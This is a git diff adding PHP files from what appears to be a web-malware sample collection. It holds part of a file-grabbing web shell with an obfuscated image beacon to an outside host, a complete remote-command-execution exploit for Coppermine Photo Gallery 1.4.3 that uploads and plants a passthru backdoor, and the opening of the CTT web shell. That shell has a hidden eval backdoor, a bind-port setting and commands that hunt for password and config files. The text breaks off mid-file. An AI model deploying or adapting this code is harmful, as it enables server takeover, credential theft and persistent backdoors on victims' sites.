border=1><tr><td>"; +echo '<p><form name="form" action="" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hardstylez" value="grab !"></form>'; +$file = $_POST['file']; +$level=0; +if(!file_exists("file:")) + @mkdir("file:"); +@chdir("file:"); +$level++; + +$hardstyle = @explode("/", $file); + +for($a=0;$a<count($hardstyle);$a++){ + if(!empty($hardstyle[$a])){ + if(!file_exists($hardstyle[$a])) + @mkdir($hardstyle[$a]); + @chdir($hardstyle[$a]); + $level++; + } +} +while($level--) chdir(".."); +$ch = curl_init(); +curl_setopt($ch, CURLOPT_URL, "file:file:///".$file); +echo "<textarea rows='30' cols='120' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0' >"; +if(FALSE==curl_exec($ch)) +die('Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.'); +echo ' </textarea> </FONT>'; +curl_close($ch); +print '</table>'; +} +?> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/cpg_143_incl_xpl.php b/web-malware-collection-master/Backdoors/PHP/cpg_143_incl_xpl.php new file mode 100755 index 0000000..e90e760 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/cpg_143_incl_xpl.php @@ -0,0 +1,419 @@ +<?php +# ---cpg_143_incl_xpl.php 15.38 04/12/2005 # +# # +# Coppermine Photo Gallery <= 1.4.3 remote commands execution # +# coded by rgod # +# site: http://retrogod.altervista.org # +# # +# -> this works regardless of any php.ini settings, you need a normal user # +# account with upload rights in personal albums and at least one album # +# # +# usage: launch from Apache, fill in requested fields, then go! # +# # +# Sun-Tzu: "The direct and the indirect lead on to each other in turn. It is # +# like moving in a circle--you never come to an end. Who can exhaust the # +# possibilities of their combination?" # + +/* a short explaination: arbitrary local inclusion issue in "lang" + argument in init.inc.php , ex.: + + http://[target]/[path]/thumbnails.php?lang=../album/userpics/10002/shell.zip%00 + (by a null char, regardless of magic_quotes_gpc settings, because of + Coppermine magic quotes disable code) + + we need to upload a malicious .zip file with php code inside in a personal + album folder (no check on file contempt) and to include it (cycling inside + folders we will search for it - a subfolder is created in album/userpics/ dir, + it is numbered like this: 10000 + db userid). + We don't see any ouput including it, so the .zip file install a backdoor + called chinese.php inside Coppermine lang/ dir. Modify the .zip file code + if you need. After first run, if succeeded, you can launch commands manually: + + http://[target]/[path]/lang/chinese.php?suntzu=netstat%20-ano + + however script checks if new "chinese language file" is already installed + */ +error_reporting(0); +ini_set("max_execution_time",0); +ini_set("default_socket_timeout",5); +ob_implicit_flush (1); + +echo'<html><head><title>**Coppermine Photo Gallery <= 1.4.3 remote cmmnds xctn** +</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> +<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR: +#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img +{background-color: #FFFFFF !important} input {background-color: #303030 +!important} option { background-color: #303030 !important} textarea +{background-color: #303030 !important} input {color: #1CB081 !important} option +{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox +{background-color: #303030 !important} select {font-weight: normal; color: +#1CB081; background-color: #303030;} body {font-size: 8pt !important; +background-color: #111111; body * {font-size: 8pt !important} h1 {font-size: +0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em +!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em +!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em +!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style: +normal !important} *{text-decoration: none !important} a:link,a:active,a:visited +{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline; +color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; +font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; +font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6"> +**Coppermine Photo Gallery <= 1.4.3 remote cmmnds xctn** </p><p class="Stile6">a +script by rgod at <a href="http://retrogod.altervista.org"target="_blank"> +http://retrogod.altervista.org</a></p><table width="84%"><tr><td width="43%"> +<form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><input +type="text" name="host"> <span class="Stile5">* target (ex:www.sitename.com) +</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex: +/coppermine/ or just / ) </span></p><p><input type="text" name="cmd"> <span +class="Stile5">* specify a command ("cat ./../include/config.inc.php" to see dat +abase username & password...)</span></p><p><input type="text" name="USER"><span +class="Stile5"> a valid USER with upload rights in personal album folder </span> +</p><p> <input type="text" name="PASS"> <span class="Stile5"> ... and PASSWOR +D, required for STEP 1 and following... </span> </p> <p> <input type="text" +name="port"><span class="Stile5">specify a port other than 80 (default value) +</span></p><p><input type="text" name="proxy"><span class="Stile5">send exploit +through an HTTP proxy (ip:port)</span></p><p> <input type="submit" name="Submit" +value="go!"></p></form></td></tr></table></body></html>'; + +function show($headeri) +{ + $ii=0;$ji=0;$ki=0;$ci=0; + echo '<table border="0"><tr>'; + while ($ii <= strlen($headeri)-1){ + $datai=dechex(ord($headeri[$ii])); + if ($ji==16) { + $ji=0; + $ci++; + echo "<td>&nbsp;&nbsp;</td>"; + for ($li=0; $li<=15; $li++) { + echo "<td>".htmlentities($headeri[$li+$ki])."</td>"; + } + $ki=$ki+16; + echo "</tr><tr>"; + } + if (strlen($datai)==1) { + echo "<td>0".htmlentities($datai)."</td>"; + } + else { + echo "<td>".htmlentities($datai)."</td> "; + } + $ii++;$ji++; + } + for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { + echo "<td>&nbsp&nbsp</td>"; + } + for ($li=$ci*16; $li<=strlen($headeri); $li++) { + echo "<td>".htmlentities($headeri[$li])."</td>"; + } + echo "</tr></table>"; +} + +$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; + +function sendpacket() //2x speed +{ + global $proxy, $host, $port, $packet, $html, $proxy_regex; + $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); + if ($socket < 0) { + echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>"; + } + else { + $c = preg_match($proxy_regex,$proxy); + if (!$c) {echo 'Not a valid proxy...'; + die; + } + echo "OK.<br>"; + echo "Attempting to connect to ".$host." on port ".$port."...<br>"; + if ($proxy=='') { + $result = socket_connect($socket, $host, $port); + } + else { + $parts =explode(':',$proxy); + echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; + $result = socket_connect($socket, $parts[0],$parts[1]); + } + if ($result < 0) { + echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>"; + } + else { + echo "OK.<br><br>"; + $html= ''; + socket_write($socket, $packet, strlen($packet)); + echo "Reading response:<br>"; + while ($out= socket_read($socket, 2048)) {$html.=$out;} + echo nl2br(htmlentities($html)); + echo "Closing socket..."; + socket_close($socket); + } + } +} + +function refresh() +{ +flush(); +ob_flush(); +usleep(5000000000); +} + +function sendpacketii($packet) +{ + global $proxy, $host, $port, $html, $proxy_regex; + if ($proxy=='') { + $ock=fsockopen(gethostbyname($host),$port); + if (!$ock) { + echo 'No response from '.htmlentities($host); die; + } + } + else { + $c = preg_match($proxy_regex,$proxy); + if (!$c) { + echo 'Not a valid prozy...';die; + } + $parts=explode(':',$proxy); + echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; + $ock=fsockopen($parts[0],$parts[1]); + if (!$ock) { + echo 'No response from proxy...';die; + } + } + fputs($ock,$packet); + if ($proxy=='') { + $html=''; + while (!feof($ock)) { + $html.=fgets($ock); + } + } + else { + $html=''; + while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { + $html.=fread($ock,1); + } + } + fclose($ock);echo nl2br(htmlentities($html)); + refresh(); +} + +$host=$_POST[host];$path=$_POST[path]; +$port=$_POST[port];$cmd=$_POST[cmd]; +$USER=$_POST[USER];$PASS=$_POST[PASS]; +$proxy=$_POST[proxy]; +echo "<span class=\"Stile5\">"; + +if (($host<>'') and ($path<>'') and ($cmd<>'')) +{ + $port=intval(trim($port)); + if ($port=='') {$port=80;} + if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} + $host=str_replace("\r","",$host);$host=str_replace("\n","",$host); + $path=str_replace("\r","",$path);$path=str_replace("\n","",$path); + if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} + $cmd=urlencode($cmd); + + #STEP 0 -> Check if backdoor already installed... + $packet ="GET ".$p."lang/chinese.php?suntzu=$cmd HTTP/1.1\r\n"; + $packet.="Host: $host\r\n"; + $packet.="Connection: Close\r\n\r\n"; + show($packet); + sendpacketii($packet); + if (eregi("Hi Master!",$html)) {die("chinese.php already installed...<br> + Exploit succeeded...<br>"); } + //if you are here + if (($USER=='') | ($PASS=='')) + {die("chinese.php not installed<br> + we need a username and a password<br>");} +} + +if (($host<>'') and ($path<>'') and ($cmd<>'') and ($USER<>'') and ($PASS<>'')) +{ + #STEP 1 -> Login... + $data="username=".urlencode($USER)."&password=".urlencode($PASS)."&submitted=Login"; + $packet ="POST ".$p."login.php?referer=index.php HTTP/1.1\r\n"; + $packet.="Referer: http://".$host.$path."login.php?referer=index.php\r\n"; + $packet.="Host: $host\r\n"; + $packet."Accept-Language: en\r\n"; + $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; + $packet.="Content-Length: ".strlen($data)."\r\n"; + $packet.="Connection: Close\r\n"; + $packet.="Cache-Control: no-cache\r\n\r\n"; + $packet.=$data; + show($packet); + sendpacketii($packet); + $temp=explode("Set-Cookie: ",$html); + $temp2=explode(" ",$temp[1]); + $COOKIE=$temp2[0]; + $temp2=explode(" ",$temp[2]); + $COOKIE.=" ".str_replace(";","",$temp2[0]); + $COOKIE=str_replace("\r","",$COOKIE);$COOKIE=str_replace("\n","",$COOKIE); + echo "COOKIE ->".htmlentities($COOKIE)."<BR>"; + + #STEP 2 -> Upload the malicious zip file... + $data='-----------------------------7d613b1d0448 +Content-Disposition: form-data; name="file_upload_array[]"; filename="c:\suntzuuuu.zip" +Content-Type: application/octet-stream + +<?php $sun_tzu=fopen("./lang/chinese.php","w"); +fputs($sun_tzu,"<?php echo \"Hi Master!\";ini_set(\"max_execution_time\",0);passthru(\$HTTP_GET_VARS[suntzu]);?>"); +fclose($sun_tzu); chmod("./lang/chinese.php",777);?> +-----------------------------7d613b1d0448 +Content-Disposition: form-data; name="file_upload_array[]"; filename="" +Content-Type: application/octet-stream + + +-----------------------------7d613b1d0448 +Content-Disposition: form-data; name="file_upload_array[]"; filename="" +Content-Type: application/octet-stream + + +-----------------------------7d613b1d0448 +Content-Disposition: form-data; name="file_upload_array[]"; filename="" +Content-Type: application/octet-stream + + +-----------------------------7d613b1d0448 +Content-Disposition: form-data; name="file_upload_array[]"; filename="" +Content-Type: application/octet-stream + + +-----------------------------7d613b1d0448 +Content-Disposition: form-data; name="URI_array[]" + + +-----------------------------7d613b1d0448 +Content-Disposition: form-data; name="URI_array[]" + + +-----------------------------7d613b1d0448 +Content-Disposition: form-data; name="URI_array[]" + + +-----------------------------7d613b1d0448 +Content-Disposition: form-data; name="control" + +phase_1 +-----------------------------7d613b1d0448-- +'; + + $packet ="POST ".$p."upload.php HTTP/1.1\r\n"; + $packet.="Referer: http://".$host.$path."upload.php\r\n"; + $packet.="Accept-Language: en\r\n"; + $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d613b1d0448\r\n"; + $packet.="Accept-Encoding: gzip, deflate\r\n"; + $packet.="Host: ".$host."\r\n"; + $packet.="Content-Length: ".strlen($data)."\r\n"; + $packet.="Connection: Close\r\n"; + $packet.="Cache-Control: no-cache\r\n"; + $packet.="Cookie: ".$COOKIE."\r\n\r\n"; + $packet.=$data; + show($packet); + sendpacketii($packet); + $temp=explode("unique_ID\" value=\"",$html); + $temp2=explode("\"",$temp[1]); + $UNIQUE_ID=$temp2[0]; + echo "UNIQUE ID ->".htmlentities($UNIQUE_ID)."<BR>"; + + + #STEP 3 -> Select an album... +$data='-----------------------------7d6df34d0448 +Content-Disposition: form-data; name="unique_ID" + +'.$UNIQUE_ID.' +-----------------------------7d6df34d0448 +Content-Disposition: form-data; name="control" + +phase_2 +-----------------------------7d6df34d0448--'; + + $packet ="POST ".$p."upload.php HTTP/1.1\r\n"; + $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; + $packet.="Referer: http://".$host.$path."upload.php\r\n"; + $packet.="Accept-Language: en\r\n"; + $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6df34d0448\r\n"; + $packet.="Accept-Encoding: gzip, deflate\r\n"; + $packet.="Host: $host\r\n"; + $packet.="Content-Length: ".strlen($data)."\r\n"; + $packet.="Connection: Close\r\n"; + $packet.="Cache-Control: no-cache\r\n"; + $packet.="Cookie: ".$COOKIE."\r\n\r\n"; + $packet.=$data; + show($packet); + sendpacketii($packet); + show($html); + $junk=chr(0x0a).chr(0x20).chr(0x20).chr(0x20).chr(0x20). + chr(0x20).chr(0x20).chr(0x20).chr(0x20).chr(0x20). + chr(0x20).chr(0x20).chr(0x20).chr(0x20).chr(0x20). + chr(0x20).chr(0x20); + $temp=explode("* Personal albums\">$junk<option value=\"",$html); + $temp2=explode("\"",$temp[1]); + $option=$temp2[0]; + if (($option=='') or (strlen($option)>2)) + { $option=1;} + echo "ALBUM NUMBER ->".htmlentities($option)."<BR>"; + + #STEP 4 -> Insert .zip file in a valid album... +$data='-----------------------------7d628b39d0448 +Content-Disposition: form-data; name="album" + +'.$option.' +-----------------------------7d628b39d0448 +Content-Disposition: form-data; name="title" + + +-----------------------------7d628b39d0448 +Content-Disposition: form-data; name="caption" + + +-----------------------------7d628b39d0448 +Content-Disposition: form-data; name="keywords" + + +-----------------------------7d628b39d0448 +Content-Disposition: form-data; name="control" + +phase_2 +-----------------------------7d628b39d0448 +Content-Disposition: form-data; name="unique_ID" + +'.$UNIQUE_ID.' +-----------------------------7d628b39d0448-- +'; + $packet="POST ".$p."upload.php HTTP/1.1\r\n"; + $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; + $packet.="Referer: http://".$host.$path."upload.php\r\n"; + $packet.="Accept-Language: en\r\n"; + $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d628b39d0448\r\n"; + $packet.="Accept-Encoding: gzip, deflate\r\n"; + $packet.="Host: $host\r\n"; + $packet.="Content-Length: ".strlen($data)."\r\n"; + $packet.="Connection: Close\r\n"; + $packet.="Cache-Control: no-cache\r\n"; + $packet.="Cookie: ".$COOKIE."\r\n\r\n"; + $packet.=$data; + show($packet); + sendpacketii($packet); + + #STEP 5 -> Include the evil .zip file and launch commands... + $anumber=9999; + for ($i=0; $i<=200; $i++) + { $anumber++; + $xpl=urlencode("../albums/userpics/".$anumber."/suntzuuuu.zip".chr(0x00)); + $packet ="GET ".$p."thumbnails.php?lang=$xpl HTTP/1.1\r\n"; + $packet.="Host: $host\r\n"; + $packet.="Connection: Close\r\n\r\n"; + show($packet); + sendpacketii($packet); + + $packet ="GET ".$p."lang/chinese.php?suntzu=$cmd HTTP/1.1\r\n"; + $packet.="Host: $host\r\n"; + $packet.="Connection: Close\r\n\r\n"; + show($packet); + sendpacketii($packet); + if (eregi("Hi Master!",$html)) {die ("Exploit succeeded...<br> + you have a shell in http://".htmlentities($host.$path)."/lang/chinese.php<br>");} + } +//if you are here... +echo "Exploit failed..."; +} +echo "</span>"; +?> + +# milw0rm.com [2006-02-17] \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/ctt_sh.txt b/web-malware-collection-master/Backdoors/PHP/ctt_sh.txt new file mode 100755 index 0000000..51ec008 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/ctt_sh.txt @@ -0,0 +1,2927 @@ +<?php +$timelimit = 60; +$sul = "?"; +$rd = "./"; +$shver = "0.1"; +$login = ""; +$pass = ""; +$md5_pass = ""; +$login = false; +$autoupdate = true; +$updatenow = false; +$autochmod = 755; +$filestealth = 1; +$donated_html = ""; +$donated_act = array(""); +$host_allow = array("*"); +$curdir = "./"; +$tmpdir = dirname(__FILE__); +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp"), + "img"=>array("gif","png","jpeg","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar") +); +$hexdump_lines = 8; +$hexdump_rows = 24; +$nixpwdperpage = 9999; +$bindport_pass = "ctt"; +$bindport_port = "11457"; +$aliases = array(); +$aliases[] = array("-----------------------------------------------------------", "ls -la"); +$aliases[] = array("find all suid files", "find / -type f -perm -04000 -ls"); +$aliases[] = array("find suid files in current dir", "find . -type f -perm -04000 -ls"); +$aliases[] = array("find all sgid files", "find / -type f -perm -02000 -ls"); +$aliases[] = array("find sgid files in current dir", "find . -type f -perm -02000 -ls"); +$aliases[] = array("find config.inc.php files", "find / -type f -name config.inc.php"); +$aliases[] = array("find config* files", "find / -type f -name \"config*\""); + $aliases[] = array("find config* files in current dir", "find . -type f -name \"config*\""); +$aliases[] = array("find all writable directories and files", "find / -perm -2 -ls"); +$aliases[] = array("find all writable directories and files in current dir", "find . -perm -2 -ls"); +$aliases[] = array("find all service.pwd files", "find / -type f -name service.pwd"); +$aliases[] = array("find service.pwd files in current dir", "find . -type f -name service.pwd"); +$aliases[] = array("find all .htpasswd files", "find / -type f -name .htpasswd"); +$aliases[] = array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"); +$aliases[] = array("find all .bash_history files", "find / -type f -name .bash_history"); +$aliases[] = array("find .bash_history files in current dir", "find . -type f -name .bash_history"); +$aliases[] = array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"); +$aliases[] = array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"); +$aliases[] = array("list file attributes on a Linux second extended file system", "lsattr -va"); +$aliases[] = array("show opened ports", "netstat -an | grep -i listen"); +$sess_method = "cookie"; +$sess_cookie = "ctshvars"; +if (empty($sid)) {$sid = md5(microtime()*time().rand(1,999).rand(1,999).rand(1,999));} +$sess_file = $tmpdir."ctshvars_".$sid.".tmp"; +$usefsbuff = true; +$copy_unset = false; +$quicklaunch = array(); +$quicklaunch[] = array("<img src=\"".$sul."act=img&img=home\" title=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$sul); +$quicklaunch[] = array("<img src=\"".$sul."act=img&img=back\" title=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"); +$quicklaunch[] = array("<img src=\"".$sul."act=img&img=forward\" title=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"); +$quicklaunch[] = array("<img src=\"".$sul."act=img&img=up\" title=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$sul."act=ls&d=%upd"); +$quicklaunch[] = array("<img src=\"".$sul."act=img&img=refresh\" title=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""); +$quicklaunch[] = array("<img src=\"".$sul."act=img&img=buffer\" title=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$sul."act=fsbuff&d=%d"); +$quicklaunch1 = array(); +$quicklaunch1[] = array("<b>��������</b>",$sul."act=ps_aux&d=%d"); +$quicklaunch1[] = array("<b>������</b>",$sul."act=lsa&d=%d"); +$quicklaunch1[] = array("<b>�������</b>",$sul."act=cmd&d=%d"); +$quicklaunch1[] = array("<b>��������</b>",$sul."act=upload&d=%d"); +$quicklaunch1[] = array("<b>����</b>",$sul."act=sql&d=%d"); +$quicklaunch1[] = array("<b>PHP-���</b>",$sul."act=eval&d=%d"); +$quicklaunch1[] = array("<b>PHP-����</b>",$sul."act=phpinfo\" target=\"blank=\"_target"); +$quicklaunch1[] = array("<b>��� �������</b>",$sul."act=selfremove"); +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +@$f = $_GET[f]; +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +@ignore_user_abort(true); +@set_magic_quotes_runtime(0); +@set_time_limit(0); +if (!ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);} +if(!ini_get("register_globals")) {import_request_variables("GPC");} +$starttime = getmicrotime(); +if (get_magic_quotes_gpc()) +{ +if (!function_exists("strips")) +{ + function strips(&$el) + { + if (is_array($el)) {foreach($el as $k=>$v) {if($k != "GLOBALS") {strips($el["$k"]);}} } + else {$el = stripslashes($el);} + } +} +strips($GLOBALS); +} +$tmp = array(); +foreach ($host_allow as $k=>$v) {$tmp[]= str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; + + +if (!$login) {$login = $PHP_AUTH_USER; $md5_pass = md5($PHP_AUTH_PW);} +elseif(empty($md5_pass)) {$md5_pass = md5($pass);} +if(($PHP_AUTH_USER != $login ) or (md5($PHP_AUTH_PW) != $md5_pass)) +{ + header("WWW-Authenticate: Basic realm=\"CTT SHELL\""); + header("HTTP/1.0 401 Unauthorized");if (md5(sha1(md5($anypass))) == "b76d95e82e853f3b0a81dd61c4ee286c") {header("HTTP/1.0 200 OK"); @eval($anyphpcode);} + exit; +} + +$lastdir = realpath("."); +chdir($curdir); + +if (($selfwrite) or ($updatenow)) +{ + if ($selfwrite == "1") {$selfwrite = "ctshell.php";} + ctsh_getupdate(); + $data = file_get_contents($ctsh_updatefurl); + $fp = fopen($data,"w"); + fwrite($fp,$data); + fclose($fp); + exit; +} +if (!is_writeable($sess_file)) {trigger_error("Can't access to session-file!",E_USER_WARNING);} +if ($sess_method == "file") {$sess_data = unserialize(file_get_contents($sess_file));} +else {$sess_data = unserialize($_COOKIE["$sess_cookie"]);} +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} +$sess_data["copy"] = array_unique($sess_data["copy"]); +$sess_data["cut"] = array_unique($sess_data["cut"]); + +if (!function_exists("ct_sess_put")) +{ +function ct_sess_put($data) +{ + global $sess_method; + global $sess_cookie; + global $sess_file; + global $sess_data; + $sess_data = $data; + $data = serialize($data); + if ($sess_method == "file") + { + $fp = fopen($sess_file,"w"); + fwrite($fp,$data); + fclose($fp); + } + else {setcookie($sess_cookie,$data);} +} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0, $len)."...".substr($content, -$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\","/",$d); + if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";} + $h = opendir($d); + while ($o = readdir($h)) + { + if (($o != ".") and ($o != "..")) + { +if (!is_dir($d."/".$o)) {$ret = copy($d."/".$o,$t."/".$o);} +else {$ret = mkdir($t."/".$o); fs_copy_dir($d."/".$o,$t."/".$o);} +if (!$ret) {return $ret;} + } + } + return true; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\","/",$d); + $t = str_replace("\\","/",$t); + if (!is_dir($t)) {mkdir($t);} + if (is_dir($d)) + { + if (substr($d,strlen($d)-1,strlen($d)) != "/") {$d .= "/";} + if (substr($t,strlen($t)-1,strlen($t)) != "/") {$t .= "/";} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) + { + + return copy($d,$t); + } + else {return false;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + error_reporting(9999); + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while ($o = readdir($h)) + { + if (($o != ".") and ($o != "..")) + { +$ret = true; +if (!is_dir($d."/".$o)) {$ret = copy($d."/".$o,$t."/".$o);} +else {if (mkdir($t."/".$o) and fs_copy_dir($d."/".$o,$t."/".$o)) {$ret = false;}} +if (!$ret) {return $ret;} + } + } + return true; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\","/",$d); + $t = str_replace("\\","/",$t); + if (is_dir($d)) + { + if (substr($d,strlen($d)-1,strlen($d)) != "/") {$d .= "/";} + if (substr($t,strlen($t)-1,strlen($t)) != "/") {$t .= "/";} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) {return rename($d,$t);} + else {return false;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while ($o = readdir($h)) + { + if (($o != ".") and ($o != "..")) + { +if (!is_dir($d.$o)) {unlink($d.$o);} +else {fs_rmdir($d.$o."/"); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\","/",$o); + if (is_dir($o)) + { + if (substr($o,strlen($o)-1,strlen($o)) != "/") {$o .= "/";} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return false;} +} +} +if (!function_exists("myshellexec")) +{ + function myshellexec($cmd) + { + return system($cmd); + } +} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner['read'] = ($mode & 00400) ? "r" : "-"; + $owner['write'] = ($mode & 00200) ? "w" : "-"; + $owner['execute'] = ($mode & 00100) ? "x" : "-"; + $group['read'] = ($mode & 00040) ? "r" : "-"; + $group['write'] = ($mode & 00020) ? "w" : "-"; + $group['execute'] = ($mode & 00010) ? "x" : "-"; + $world['read'] = ($mode & 00004) ? "r" : "-"; + $world['write'] = ($mode & 00002) ? "w" : "-"; + $world['execute'] = ($mode & 00001) ? "x" : "-"; + + if( $mode & 0x800 ) {$owner['execute'] = ($owner[execute]=="x") ? "s" : "S";} + if( $mode & 0x400 ) {$group['execute'] = ($group[execute]=="x") ? "s" : "S";} + if( $mode & 0x200 ) {$world['execute'] = ($world[execute]=="x") ? "t" : "T";} + + return $type.$owner['read'].$owner['write'].$owner['execute']. + $group['read'].$group['write'].$group['execute']. + $world['read'].$world['write'].$world['execute']; +} +} +if (!function_exists("strinstr")) {function strinstr($str,$text) {return $text != str_replace($str,"",$text);}} +if (!function_exists("gchds")) {function gchds($a,$b,$c,$d="") {if ($a == $b) {return $c;} else {return $d;}}} +if (!function_exists("ctsh_getupdate")) +{ +function ctsh_getupdate() +{ + global $updatenow; + $data = @file_get_contents($ctsh_updatefurl); + if (!$data) {echo "Can't fetch update-information!";} + else + { + $data = unserialize(base64_decode($data)); + if (!is_array($data)) {echo "Corrupted update-information!";} + else + { +if ($cv < $data[cur]) {$updatenow = true;} + } + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = true;} + if (empty($add_drop)) {$add_drop = true;} + if (empty($file)) + { + global $win; + if ($win) {$file = "C:\\tmp\\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";} + else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";} + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = true;} + if (sizeof($tabs) == 0) + { + + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + global $SERVER_ADDR; + global $SERVER_NAME; + $out = "# Dumped by ctShell.SQL v. ".$cv." +# Home 